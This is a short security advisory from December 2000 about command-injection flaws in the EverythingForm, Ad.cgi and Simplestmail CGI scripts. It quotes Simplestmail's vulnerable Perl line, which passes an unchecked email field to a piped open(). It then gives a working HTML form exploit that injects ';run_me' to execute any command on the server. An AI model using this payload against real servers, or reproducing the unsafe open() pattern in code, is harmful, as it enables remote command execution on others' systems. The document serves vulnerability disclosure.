Insecure input validation in everythingform.cgi, ad.cgi and simplestmail.cgi (command execution)
14 Dec. 2000
Summary
A number of CGIs suffer from similar security problems that enable remote attackers to execute commands on the server.
The affected CGIs are: EverythingForm, A HREF="http://www.conservatives.net/atheist/scripts/index.html?ads">Ad.cgi, and Simplestmail.
Simplestmail:
The problematic code is self-explanatory:
----code snippet----
$youremail = $contents_by_name{'MyEmail'};
open (MAIL, "|$mailprog $youremail") || die "Can't open $mailprog!\n";
-----------------
Exploit:
<html>
<form action="http://someplace/cgi-bin/simplestmail.cgi" method=POST>
Command: <input type=text name=MyEmail value=";run_me">
<input type=hidden name=redirect value="http://goatse.cx">
<input type=submit name=submit value="run">
</form>
</html>
(Replace "run_me" with the command you want it to execute)
